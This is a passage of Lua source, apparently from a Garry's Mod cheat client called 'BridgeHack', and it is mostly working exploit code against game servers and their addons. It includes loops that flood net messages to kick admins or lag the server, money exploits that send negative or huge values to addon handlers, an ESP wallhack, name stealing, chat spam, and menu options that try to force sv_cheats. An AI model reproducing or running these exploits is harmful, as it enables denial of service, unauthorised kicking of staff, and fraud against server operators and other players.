  1251.                 for k,v in pairs(player.GetAll())do
  1252.  
  1253.                 if v != LocalPlayer() then
  1254.  
  1255.                         net.Start("NLR.ActionPlayer")
  1256.  
  1257.                         net.WriteEntity(v)
  1258.  
  1259.                         net.SendToServer()
  1260.  
  1261.                 end
  1262.  
  1263.                 end
  1264.  
  1265.         end
  1266.  
  1267.         end
  1268.  
  1269. timer.Create("nlrs", 4,0,nlrs)
  1270.  
  1271.  
  1272.  
  1273. LastTime = CurTime()
  1274.  
  1275.  
  1276.  
  1277. function drawdatopscreen()  
  1278.  
  1279.         if GetConVarNumber("bh_notify") > 0 then
  1280.  
  1281.                 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
  1282.  
  1283.                 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
  1284.  
  1285.         if sweg == 1 then
  1286.  
  1287.                 LastTime = CurTime()
  1288.  
  1289.         end
  1290.  
  1291.                 draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
  1292.  
  1293.         end
  1294.  
  1295. end
  1296.  
  1297. hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
  1298.  
  1299.  
  1300.  
  1301. concommand.Add("bh_tp_spawn",function()
  1302.  
  1303.         chatP("Teleported to spawn!")
  1304.  
  1305.         consoleP("Teleported to spawn!")
  1306.  
  1307.         status("Teleported to spawn!")
  1308.  
  1309.         net.Start("DarkRP_Kun_ForceSpawn")
  1310.  
  1311.         net.SendToServer()
  1312.  
  1313.        
  1314.  
  1315. end)
  1316.  
  1317.  
  1318.  
  1319. concommand.Add("bh_check",function()
  1320.  
  1321. clearcon()
  1322.  
  1323. cleardchat()
  1324.  
  1325. chatP("Checking for exploitable addons...")
  1326.  
  1327. if HIT then
  1328.  
  1329.         chatPG("Hitman X | Found")
  1330.  
  1331. else
  1332.  
  1333.         chatPR("Hitman X | Not Found")
  1334.  
  1335. end
  1336.  
  1337. if HitMenu then
  1338.  
  1339.         chatPG("Hit Menu | Found")
  1340.  
  1341. else
  1342.  
  1343.         chatPR("Hit Menu | Not Found")
  1344.  
  1345. end
  1346.  
  1347. if BAIL then
  1348.  
  1349.         chatPG("BailNPC | Found")
  1350.  
  1351. else
  1352.  
  1353.         chatPR("BailNPC | Not Found")
  1354.  
  1355. end
  1356.  
  1357. if dLogs then
  1358.  
  1359.         chatPG("DLOGS | Found")
  1360.  
  1361. else
  1362.  
  1363.         chatPR("DLOGS | Not Found")
  1364.  
  1365. end
  1366.  
  1367. if ChanNum then
  1368.  
  1369.         chatPG("MXRadio| Found")
  1370.  
  1371. else
  1372.  
  1373.         chatPR("MXRadio | Not Found")
  1374.  
  1375. end
  1376.  
  1377. if VC_Menu_Info_Panel_Build then
  1378.  
  1379.         chatPG("VCMD | Found")
  1380.  
  1381. else
  1382.  
  1383.         chatPR("VCMD | Not Found")
  1384.  
  1385. end
  1386.  
  1387. if MDE then
  1388.  
  1389.         chatPG("MDE | Found")
  1390.  
  1391. else
  1392.  
  1393.         chatPR("MDE | Not Found")
  1394.  
  1395. end
  1396.  
  1397. if NLR then
  1398.  
  1399.         chatPG("NLR |  Found")
  1400.  
  1401. else
  1402.  
  1403.         chatPR("NLR | Not Found")
  1404.  
  1405. end
  1406.  
  1407. if Warnings_for_kick then
  1408.  
  1409.         chatPG("ULX Extended | Found")
  1410.  
  1411. else
  1412.  
  1413.         chatPR("ULX Extended | Not Found")
  1414.  
  1415. end
  1416.  
  1417.  
  1418.  
  1419. end)  
  1420.  
  1421.  
  1422.  
  1423. function reloadeddunkalladmins()
  1424.  
  1425. clearcon()
  1426.  
  1427. chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
  1428.  
  1429. timer.Create( "heymnangng", 3, 0, function()
  1430.  
  1431. for k,v in ipairs(player.GetAll()) do
  1432.  
  1433. if( v:GetUserGroup() != "user" ) then
  1434.  
  1435. if v:Nick() != "Gam" then
  1436.  
  1437. for i=0, 700 do
  1438.  
  1439. net.Start( "GetCar" )
  1440.  
  1441. net.WriteEntity(v)
  1442.  
  1443. net.WriteEntity(v)
  1444.  
  1445. net.SendToServer()
  1446.  
  1447. end
  1448.  
  1449. chatP('Kicked: '.. v:Nick().. "!")
  1450.  
  1451. end end end end)end
  1452.  
  1453. concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
  1454.  
  1455.  
  1456.  
  1457. function dloglag()
  1458.  
  1459. clearcon()
  1460.  
  1461. print("Lagging server.")
  1462.  
  1463. clearcon()
  1464.  
  1465. print("Lagging server..")
  1466.  
  1467. clearcon()
  1468.  
  1469. print("Lagging server...")
  1470.  
  1471. timer.Create( "dlogsisfucked", 3, 0, function()
  1472.  
  1473. for i=0, 7000 do
  1474.  
  1475. local tosend = {
  1476.  
  1477.         cmd="+forward",
  1478.  
  1479.         args=" "
  1480.  
  1481.        
  1482.  
  1483.         }
  1484.  
  1485.         net.Start('dLogsGetCommand')
  1486.  
  1487.         net.WriteTable(tosend)
  1488.  
  1489.         net.SendToServer()
  1490.  
  1491.        
  1492.  
  1493. end end) end
  1494.  
  1495.  
  1496.  
  1497. concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
  1498.  
  1499. concommand.Add( "bh_dlogs_lag_off", function()
  1500.  
  1501.         clearcon()
  1502.  
  1503.         consoleP("Stopping the lag...")
  1504.  
  1505.         chatP("Stopping the lag...")
  1506.  
  1507.         timer.Destroy("dlogisfucked")
  1508.  
  1509. end)
  1510.  
  1511.  
  1512.  
  1513. concommand.Add("bh_admins", function()
  1514.  
  1515. clearcon()
  1516.  
  1517. chatP("Listing non-players..")
  1518.  
  1519. chatP("Check console.")
  1520.  
  1521. consoleP("============= ULX | Custom admin mode RANKS ============")
  1522.  
  1523. for k,v in pairs(player.GetAll()) do
  1524.  
  1525.                 if( v:GetUserGroup() != "user" ) then
  1526.  
  1527.                                 print(v:Nick().. " | ".. v:GetUserGroup())
  1528.  
  1529.                 end
  1530.  
  1531. end
  1532.  
  1533. consoleP("========================================================")
  1534.  
  1535. end)
  1536.  
  1537.  
  1538.  
  1539. local Spammer = CreateClientConVar("bh_advert", "0", true, false)
  1540.  
  1541.  
  1542.  
  1543. local function Spam()
  1544.  
  1545.         if Spammer:GetBool() then
  1546.  
  1547.                 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
  1548.  
  1549.         end end
  1550.  
  1551. timer.Create("Spam", 1.5,0,Spam)
  1552.  
  1553.  
  1554.  
  1555. local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
  1556.  
  1557. function kickdaplayer()
  1558.  
  1559. timer.Create( "heymnangng2", 3, 0, function()
  1560.  
  1561. for k,v in ipairs(player.GetAll()) do
  1562.  
  1563. if v:Nick() == GetConVar("g_mx_playername") then
  1564.  
  1565. clearcon()
  1566.  
  1567. print("Kicking: ")
  1568.  
  1569. print(v:Nick())
  1570.  
  1571. for i=0, 700 do
  1572.  
  1573. net.Start( "GetCar" )
  1574.  
  1575. net.WriteEntity(v)
  1576.  
  1577. net.WriteEntity(v)
  1578.  
  1579. net.SendToServer()
  1580.  
  1581. end
  1582.  
  1583. chatP("Kicked ".. v:Nick())
  1584.  
  1585. consoleP("Kicked ".. v:Nick())
  1586.  
  1587. end end end) end
  1588.  
  1589. concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
  1590.  
  1591.  
  1592.  
  1593. concommand.Add("Bh_clearcon",function()
  1594.  
  1595.         clearcon()
  1596.  
  1597.        
  1598.  
  1599. end)
  1600.  
  1601.  
  1602.  
  1603. concommand.Add("Bh_clearchat",function()
  1604.  
  1605.         cleardchat()
  1606.  
  1607.        
  1608.  
  1609. end)
  1610.  
  1611.  
  1612.  
  1613.  
  1614.  
  1615. concommand.Add("bh_3dcardealer_spamstore",function()
  1616.  
  1617.         chatP("You better be looking at a car")
  1618.  
  1619.         for i=0,100 do
  1620.  
  1621.         clearcon()
  1622.  
  1623.         chatP("Spamming store... ".."["..i.."]")
  1624.  
  1625.         net.Start( "RXCAR_Shop_Sell_C2S" )
  1626.  
  1627.                 net.WriteTable({EAA=sweg, CDAA})
  1628.  
  1629.         net.SendToServer()
  1630.  
  1631.         end
  1632.  
  1633.        
  1634.  
  1635. end)
  1636.  
  1637.  
  1638.  
  1639. concommand.Add("bh_serverlist",function()
  1640.  
  1641.         status("Printing lise to console...")
  1642.  
  1643.         chatP("Check console.")
  1644.  
  1645.         clearcon()
  1646.  
  1647.         consoleP(""..serverlist.."")
  1648.  
  1649.         status("Complete")
  1650.  
  1651.        
  1652.  
  1653. end)
  1654.  
  1655.  
  1656.  
  1657. function CheckAE()
  1658.  
  1659.        
  1660.  
  1661.         if requestTables then
  1662.  
  1663.                 print("ae found, bh_ae will work")
  1664.  
  1665.                 chatP("AE was found, bh_ae will work.")
  1666.  
  1667.         else
  1668.  
  1669.                 chatP("AE was not found, bh_ae will not work.")
  1670.  
  1671.         end end
  1672.  
  1673. concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
  1674.  
  1675.  
  1676.  
  1677. concommand.Add("bh_ae_kickadmins",function()
  1678.  
  1679. clearcon()
  1680.  
  1681. chatP("Attempting to Kick admins")
  1682.  
  1683. chatP("This will only work on admins+")
  1684.  
  1685. timer.Create( "aekickdaskids", 3, 0, function()
  1686.  
  1687. for k,v in ipairs(player.GetAll()) do
  1688.  
  1689. if( v:GetUserGroup() != "user" ) then
  1690.  
  1691. if( v:GetUserGroup() != "vip" ) then
  1692.  
  1693. for i=0, 1000 do
  1694.  
  1695. net.Start('plyWarning')
  1696.  
  1697.                 net.WriteEntity(v)
  1698.  
  1699.                 net.WriteString('You have to select a player before doing a action.')
  1700.  
  1701.                 net.SendToServer()
  1702.  
  1703. end
  1704.  
  1705. chatP('Attempting to kick: '.. v:Nick().. "!")
  1706.  
  1707.  
  1708.  
  1709. end end end end) end)
  1710.  
  1711.  
  1712.  
  1713. concommand.Add("bh_namesteal_on",function()
  1714.  
  1715.         status("Running Script: Random Name Change [name steal]....")
  1716.  
  1717.        
  1718.  
  1719.         timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
  1720.  
  1721.                 local plylastname = ply:Nick()
  1722.  
  1723.                 for k,v in pairs(player.GetAll()) do
  1724.  
  1725.                         local ligger_type = math.random(1,2)
  1726.  
  1727.                         local ligger_type1 = math.random(1,2)
  1728.  
  1729.                         status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
  1730.  
  1731.                         if ligger_type1 == ligger_type then
  1732.  
  1733.                                 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
  1734.  
  1735.                                 if plylastname == v:Nick() then
  1736.  
  1737.                                         local ligger_type = math.random(1,2)
  1738.  
  1739.                                         local ligger_type1 = math.random(1,2)
  1740.  
  1741.                                 else
  1742.  
  1743.                                         ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
  1744.  
  1745.                                         status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
  1746.  
  1747.                                 end
  1748.  
  1749.                                 local ligger_type = math.random(1,2)
  1750.  
  1751.                                 local ligger_type1 = math.random(1,2)
  1752.  
  1753.                         end end end) end)
  1754.  
  1755.  
  1756.  
  1757. concommand.Add("bh_namesteal_off",function()
  1758.  
  1759.         timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
  1760.  
  1761.         end) end)
  1762.  
  1763.  
  1764.  
  1765. concommand.Add("bh_removelookingat",function()
  1766.  
  1767.         chatP("Removing prop looking at...")
  1768.  
  1769.         net.Start( "MDE_RemoveStuff_C2S" )      
  1770.  
  1771.                 net.WriteTable( {DATA="",TARGET=sweg} )    
  1772.  
  1773.         net.SendToServer()
  1774.  
  1775.        
  1776.  
  1777. end)
  1778.  
  1779.  
  1780.  
  1781. concommand.Add("__bh_lagdarkrpdashit",function()
  1782.  
  1783.         chatP("Starting the lag...")
  1784.  
  1785.         timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
  1786.  
  1787.                 for i=1,10000 do
  1788.  
  1789.                         net.Start("DarkRP_spawnPocket")
  1790.  
  1791.                         net.SendToServer()
  1792.  
  1793.                 end
  1794.  
  1795.                 status("PROGRESS[10000/10000]")
  1796.  
  1797.                
  1798.  
  1799.                 end) end)
  1800.  
  1801.                
  1802.  
  1803. concommand.Add( "__bh_stopplag",function(  )
  1804.  
  1805.         chatP("Stopping the lag...")
  1806.  
  1807.         timer.Destroy("lag"..BridgeHack.RandomVar)
  1808.  
  1809. end)
  1810.  
  1811.  
  1812.  
  1813. if dspam == true then
  1814.  
  1815.         chatP("Spam split / make shipment ON")
  1816.  
  1817.         timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
  1818.  
  1819.                 for k,v in pairs(ents.GetAll()) do
  1820.  
  1821.                         if v.Entity:GetString() == "spawned_shipment" then
  1822.  
  1823.                                 status("Splitting shipment")
  1824.  
  1825.                                 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
  1826.  
  1827.                         elseif v.Entity:GetClassName() == "spawned_weapon" then
  1828.  
  1829.                                 status("Making shipment")
  1830.  
  1831.                                 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
  1832.  
  1833.                         end end end) end
  1834.  
  1835.                        
  1836.  
  1837. if dspam == false then
  1838.  
  1839.         chatP("Spam split / make shipment OFF")
  1840.  
  1841.         timer.Simple(1,function()
  1842.  
  1843.                 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
  1844.  
  1845.                 end) end) end
  1846.  
  1847.                
  1848.  
  1849. concommand.Add("bh_kun_ziptie_untie",function()
  1850.  
  1851.         chatP("Untieing...")
  1852.  
  1853.         for i=0,30 do
  1854.  
  1855.                 net.Start("Kun_ZiptieStruggle")
  1856.  
  1857.                 net.SendToServer()
  1858.  
  1859.         end
  1860.  
  1861. end)
  1862.  
  1863.  
  1864.  
  1865. concommand.Add("___darkrpshipments", function()
  1866.  
  1867.         if dspam != true then
  1868.  
  1869.                 dspam = true
  1870.  
  1871.         elseif dspam == true then
  1872.  
  1873.                 dspam = false
  1874.  
  1875.         end end)
  1876.  
  1877.  
  1878.  
  1879. local function BridgeHackCHECK(v)
  1880.  
  1881.         if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
  1882.  
  1883.                 return true
  1884.  
  1885.         else
  1886.  
  1887.                 return false
  1888.  
  1889.         end end
  1890.  
  1891.  
  1892.  
  1893. hook.Add("HUDPaint", "JESP", function()
  1894.  
  1895.         for k,v in pairs(player.GetAll()) do
  1896.  
  1897.                 if GetConVarNumber("bh_esp") > 0 then
  1898.  
  1899.                         if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
  1900.  
  1901.                                 if GetConVarNumber("bh_renderdistance_enable") > 0 then
  1902.  
  1903.                                         if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
  1904.  
  1905.                                                 local PlayerESP = (v:EyePos()):ToScreen()
  1906.  
  1907.                                                 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
  1908.  
  1909.                                                 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
  1910.  
  1911.                                                
  1912.  
  1913.                                                 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1914.  
  1915.                                                
  1916.  
  1917.                                                 if GetConVarNumber("bh_esp_rank") > 0 then
  1918.  
  1919.                                                         draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1920.  
  1921.                                                 end
  1922.  
  1923.                                                
  1924.  
  1925.                                                 if GetConVarNumber("bh_esp_hp") > 0 then
  1926.  
  1927.                                                         local infocolor = Color(255,0,255)
  1928.  
  1929.                                                         draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1930.  
  1931.                                                 end
  1932.  
  1933.                                                        
  1934.  
  1935.                                                 local col = team.GetColor(v:Team()) -- looped into esp (square box)    
  1936.  
  1937.                                                 local min, max = v:WorldSpaceAABB()
  1938.  
  1939.                                                
  1940.  
  1941.                                                 min, max = min:ToScreen(), max:ToScreen()
  1942.  
  1943.                                                
  1944.  
  1945.                                                 local h = (min.y / 2) - (max.y / 2)
  1946.  
  1947.                                                 surface.SetDrawColor(col.g, col.b, col.r)
  1948.  
  1949.                                                
  1950.  
  1951.                                                 if GetConVarNumber("bh_esp_box") > 0 then
  1952.  
  1953.                                                         surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
  1954.  
  1955.                                                         surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
  1956.  
  1957.                                                         surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
  1958.  
  1959.                                                 end end
  1960.  
  1961.                                 else
  1962.  
  1963.                                
  1964.  
  1965.                                 local PlayerESP = (v:EyePos()):ToScreen()
  1966.  
  1967.                                 local infocolor = Color(0,255,0)
  1968.  
  1969.                                 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
  1970.  
  1971.                                 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1972.  
  1973.                                
  1974.  
  1975.                                 if GetConVarNumber("bh_esp_rank") > 0 then
  1976.  
  1977.                                         draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1978.  
  1979.                                 end
  1980.  
  1981.                                
  1982.  
  1983.                                 if GetConVarNumber("bh_esp_hp") > 0 then
  1984.  
  1985.                                         local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
  1986.  
  1987.                                         draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
  1988.  
  1989.                                 end
  1990.  
  1991.                                
  1992.  
  1993.                                 local col = team.GetColor(v:Team()) -- looped into esp (square box)    
  1994.  
  1995.                                
  1996.  
  1997.                                 local min, max = v:WorldSpaceAABB()
  1998.  
  1999.                                 min, max = min:ToScreen(), max:ToScreen()
  2000.  
  2001.                                 local h = (min.y / 2) - (max.y / 2)
  2002.  
  2003.                                
  2004.  
  2005.                                 surface.SetDrawColor(col.g, col.b, col.r)
  2006.  
  2007.                                
  2008.  
  2009.                                 if GetConVarNumber("bh_esp_box") > 0 then
  2010.  
  2011.                                         surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
  2012.  
  2013.                                         surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
  2014.  
  2015.                                         surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
  2016.  
  2017.                                 end end end end end end)
  2018.  
  2019.  
  2020.  
  2021. function blur_on()
  2022.  
  2023.         DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
  2024.  
  2025. end
  2026.  
  2027.  
  2028.  
  2029. function blur_off()
  2030.  
  2031.         DrawMaterialOverlay( "", 0.1 )
  2032.  
  2033. end
  2034.  
  2035.  
  2036.  
  2037. concommand.Add("+bh_menu", function( ply )
  2038.  
  2039.         status("Menu Opened.")
  2040.  
  2041.         if GetConVarNumber("bh_menu_effects") == 1 then
  2042.  
  2043.                 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
  2044.  
  2045.         end
  2046.  
  2047. --[[
  2048.  
  2049.         mainmenu
  2050.  
  2051.        
  2052.  
  2053.        
  2054.  
  2055.         THE MAIN
  2056.  
  2057.        
  2058.  
  2059.        
  2060.  
  2061.         MENU
  2062.  
  2063.        
  2064.  
  2065.        
  2066.  
  2067.        
  2068.  
  2069.         STARTS
  2070.  
  2071.        
  2072.  
  2073.        
  2074.  
  2075.        
  2076.  
  2077.         HERE
  2078.  
  2079.        
  2080.  
  2081.         |
  2082.  
  2083.         V
  2084.  
  2085. ]]--
  2086.  
  2087. local menu = DermaMenu()
  2088.  
  2089. menu:Center()
  2090.  
  2091. menu:AddOption( "BridgeHack "..dlversion, function()
  2092.  
  2093.         AboutMenu()
  2094.  
  2095. end ):SetImage( "icon16/shield.png" )
  2096.  
  2097. menu:AddSpacer()
  2098.  
  2099. function menu:Paint( w, h )
  2100.  
  2101.         draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
  2102.  
  2103.         draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
  2104.  
  2105.         surface.SetDrawColor( 0,0,0 )
  2106.  
  2107.         surface.DrawOutlinedRect( 0, 0, w, h)
  2108.  
  2109. end
  2110.  
  2111. local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
  2112.  
  2113.  
  2114.  
  2115. ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
  2116.  
  2117.         ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
  2118.  
  2119.         status("Forced SV_ALLOWCSLUA TO 1")
  2120.  
  2121. end):SetImage( "icon16/link_error.png" )
  2122.  
  2123.  
  2124.  
  2125. ForcingMenu:AddOption( "Force sv_cheats 1", function()
  2126.  
  2127.         ply:ConCommand("incrementvar sv_cheats 0 1 1")
  2128.  
  2129.         status("Forced SV_CHEATS TO 1")
  2130.  
  2131. end):SetImage( "icon16/link_error.png" )
  2132.  
  2133.  
  2134.  
  2135. local ESP = menu:AddSubMenu("ESP")
  2136.  
  2137.  
  2138.  
  2139. ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
  2140.  
  2141. ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
  2142.  
  2143.  
  2144.  
  2145. local Speed = menu:AddSubMenu("Speed")
  2146.  
  2147. Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
  2148.  
  2149. Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
  2150.  
  2151.  
  2152.  
  2153.  
  2154.  
  2155. local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
  2156.  
  2157. NameStealSub:AddOption( "[ON] Name Steal", function()
  2158.  
  2159.         ply:ConCommand("bh_namesteal_on")
  2160.  
  2161. end ):SetImage( "icon16/book_addresses.png" )
  2162.  
  2163.  
  2164.  
  2165. NameStealSub:AddOption( "[OFF] Name Steal", function()
  2166.  
  2167.         status("Stopped Script: Random Name Change [name steal]")
  2168.  
  2169.         ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
  2170.  
  2171.        
  2172.  
  2173. local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
  2174.  
  2175.        
  2176.  
  2177.         MoneyExploits:AddOption("[$$] Drug Sell",function()
  2178.  
  2179.                 for i=1,1000 do
  2180.  
  2181.                         net.Start("Kun_SellDrug")
  2182.  
  2183.                         net.WriteString("Meth")
  2184.  
  2185.                         net.SendToServer()
  2186.  
  2187.                 end end):SetImage( "icon16/coins_add.png" )
  2188.  
  2189.        
  2190.  
  2191.         MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
  2192.  
  2193.                 chatp("Giving money")
  2194.  
  2195.                 net.Start("Taxi_Add")
  2196.  
  2197.                         net.WriteString("MLG")
  2198.  
  2199.                         net.WriteTable({-1333.647461, -1473.931763, -139.968750})
  2200.  
  2201.                         net.WriteFloat(-99999999)
  2202.  
  2203.                         net.WriteString(Desc)
  2204.  
  2205.                 net.SendToServer()
  2206.  
  2207.         end):SetImage( "icon16/coins_add.png" )
  2208.  
  2209.        
  2210.  
  2211.         MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
  2212.  
  2213.                 chatP("Attempting to give money..")
  2214.  
  2215.                 for k,v in pairs(ents.GetAll()) do
  2216.  
  2217.                         swag = v
  2218.  
  2219.                 end
  2220.  
  2221.                 net.Start( 'NET_SS_DoBuyTakeoff' )          
  2222.  
  2223.                         net.WriteEntity(LocalPlayer())          
  2224.  
  2225.                         net.WriteEntity(swag)          
  2226.  
  2227.                         net.WriteTable({'spawned_weapon'})          
  2228.  
  2229.                         net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)      
  2230.  
  2231.                         net.SendToServer()  
  2232.  
  2233.         end):SetImage( "icon16/coins_add.png" )
  2234.  
  2235.        
  2236.  
  2237.         MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
  2238.  
  2239.                 chatP("Attempting to give money..")
  2240.  
  2241.                 net.Start( "DaHit" )
  2242.  
  2243.                         net.WriteFloat( -1000000000000000000000 )
  2244.  
  2245.                         --net.WriteFloat( tm )
  2246.  
  2247.                         net.WriteEntity( LocalPlayer() )
  2248.  
  2249.                         net.WriteEntity( LocalPlayer() )
  2250.  
  2251.                         net.WriteEntity( LocalPlayer() )
  2252.  
  2253.                 net.SendToServer()
  2254.  
  2255.         end):SetImage( "icon16/coins_add.png" )
  2256.  
  2257.                
  2258.  
  2259.         MoneyExploits:AddOption( "[$$] HHH MONEY",function()
  2260.  
  2261.                 local ply = LocalPlayer()
  2262.  
  2263.                 for k,v in pairs(player.GetAll()) do  
  2264.  
  2265.                         dahater = v
  2266.  
  2267.                 end
  2268.  
  2269.                
  2270.  
  2271.                 local hitRequest = {}
  2272.  
  2273.                 hitRequest.hitman = ply
  2274.  
  2275.                 hitRequest.requester = ply
  2276.  
  2277.                 hitRequest.target = dahater
  2278.  
  2279.                 hitRequest.reward = 100000000
  2280.  
  2281.                
  2282.  
  2283.                 net.Start( 'hhh_request' )
  2284.  
  2285.                         net.WriteTable( hitRequest )
  2286.  
  2287.                 net.SendToServer()
  2288.  
  2289.                
  2290.  
  2291.         end):SetImage( "icon16/coins_add.png" )
  2292.  
  2293.        
  2294.  
  2295.         MoneyExploits:AddOption("[$$] BOONPC",function()
  2296.  
  2297.                 net.Start('BuyCar')
  2298.  
  2299.                 net.WriteFloat(-1000000000000)
  2300.  
  2301.                 net.WriteEntity(LocalPlayer())
  2302.  
  2303.                 net.WriteString("BridgeHack")
  2304.  
  2305.                 net.WriteString("BridgeHack")
  2306.  
  2307.                 net.WriteString("BridgeHack")
  2308.  
  2309.                 net.SendToServer()
  2310.  
  2311.         end):SetImage( "icon16/coins_add.png" )
  2312.  
  2313.        
  2314.  
  2315.         MoneyExploits:AddOption("[$$] Hitman X Menu",function()
  2316.  
  2317.         local frame = vgui.Create( "DFrame" )
  2318.  
  2319.                 frame:Center()
  2320.  
  2321.                 frame:SetSize( 200,150 )
  2322.  
  2323.                 frame:SetTitle( "" )
  2324.  
  2325.                 frame:MakePopup()
  2326.  
  2327.                 frame:ShowCloseButton( false )
  2328.  
  2329.         function frame:Paint( w, h )
  2330.  
  2331.                 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
  2332.  
  2333.                 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
  2334.  
  2335.                 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
  2336.  
  2337.         end
  2338.  
  2339.  
  2340.  
  2341.         local playerMenu = vgui.Create( "DComboBox", frame )
  2342.  
  2343.                 playerMenu:SetPos( 10,40 )
  2344.  
  2345.                 playerMenu:SetSize( 120,20 )
  2346.  
  2347.                 playerMenu:SetText( "Select a Player")
  2348.  
  2349.         for k, v in pairs( player.GetAll() ) do
  2350.  
  2351.                 playerMenu:AddChoice( tostring( v:Name() ) )
  2352.  
  2353.                 playerMenu:SetTextColor(color_black)
  2354.  
  2355.         end
  2356.  
  2357.  
  2358.  
  2359.         local Button = vgui.Create("DButton", frame)
  2360.  
  2361.                 Button:SetPos( 180, 2 )
  2362.  
  2363.                 Button:SetSize( 20, 20 )
  2364.  
  2365.                 Button:SetText( "" )
  2366.  
  2367.                 function Button:Paint( w, h )
  2368.  
  2369.                         draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
  2370.  
  2371.                 end
  2372.  
  2373.                 Button.DoClick = function()
  2374.  
  2375.                         frame:Close()
  2376.  
  2377.                 end
  2378.  
  2379.  
  2380.  
  2381.         local SpamHit = vgui.Create("DButton", frame )
  2382.  
  2383.                 SpamHit:SetPos( 20,70 )
  2384.  
  2385.                 SpamHit:SetSize( 150,20 )
  2386.  
  2387.                 SpamHit:SetText( "Get Money" )
  2388.  
  2389.                 SpamHit:SetTextColor( Color(0,0,0) )
  2390.  
  2391.                 SpamHit.DoClick = function()
  2392.  
  2393.                         local v = playerMenu:GetText()
  2394.  
  2395.                         net.Start( "SendMoney" )
  2396.  
